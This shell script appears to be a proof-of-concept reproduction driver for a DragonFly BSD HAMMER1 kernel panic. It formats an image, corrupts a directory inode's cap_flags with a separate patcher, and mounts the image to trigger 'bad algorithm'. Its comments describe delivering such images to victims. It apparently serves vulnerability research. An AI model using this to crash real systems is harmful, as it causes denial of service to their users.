DF-0838 / repro.sh
#!/bin/sh # DF-0838 — full reproduction driver. # Runs as root (mount/newfs_hammer/vnconfig need root). # # Realism note (Phase 6 reachability): in a real attack, the attacker crafts # the HAMMER1 image *offline* (their own machine), then ships it to a victim # (download, USB, mail attachment). When an admin (or any user with # vfs.usermount=1 + image ownership) mounts the image and does ANY filename # operation under the corrupted directory, the kernel hits: # sys/vfs/hammer/hammer_subs.c:1031 hpanic("bad algorithm %p", dip) # This script replicates that end-to-end inside the test guest as root, # because newfs_hammer/mount_hammer are privileged; the *consequence* # (kernel panic on a directory op against a mounted image) is the same # regardless of who mounted it. set -eu IMAGE=/root/df0838.img MNT=/mnt/df0838 SRC=/root/df0838/image_patcher.c BIN=/root/df0838/image_patcher cleanup() { umount "$MNT" 2>/dev/null || true # vn4 was the device we used; release it if still configured for vn in $(vnconfig -l 2>/dev/null | awk -F: '/^vn[0-9]+:.*df0838/ {print $1}'); do vnconfig -u "$vn" 2>/dev/null || true done } trap cleanup EXIT mkdir -p /root/df0838 cc -O2 -Wall -o "$BIN" "$SRC" -lz rm -f "$IMAGE" truncate -s 2G "$IMAGE" VN=$(vnconfig vn "$IMAGE" | tail -1) echo "configured $VN" # Format as HAMMER1 v6 so leaf data_crc uses plain crc32() (matches our patcher). newfs_hammer -L df0838 -V 6 -f "/dev/$VN" >/tmp/newfs.log 2>&1 tail -3 /tmp/newfs.log mkdir -p "$MNT" mount_hammer "/dev/$VN" "$MNT" echo "mounted /dev/$VN on $MNT" # Create a directory whose cap_flags we will corrupt on-disk. mkdir "$MNT/testdir" echo hello > "$MNT/testdir/file1" echo hello > "$MNT/testdir/file2" ls -la "$MNT/testdir" umount "$MNT" vnconfig -u "$VN" # Patch the directory inode's cap_flags = ALG2 (0x02) and refresh its leaf CRC. "$BIN" "$IMAGE" # Re-attach and mount the now-malicious image. VN=$(vnconfig vn "$IMAGE" | tail -1) echo "re-configured $VN" mount_hammer "/dev/$VN" "$MNT" echo "mounted malicious image; now triggering hammer_direntry_namekey() ..." echo "(next op should panic the kernel with 'bad algorithm')" # This name-lookup calls hammer_vop_nresolve -> hammer_direntry_namekey(testdir) # -> switch (cap_flags & 0x03 == 0x02) -> hpanic("bad algorithm"). ls -la "$MNT/testdir/file1" || true echo "SHOULD NOT GET HERE: kernel should have panicked" |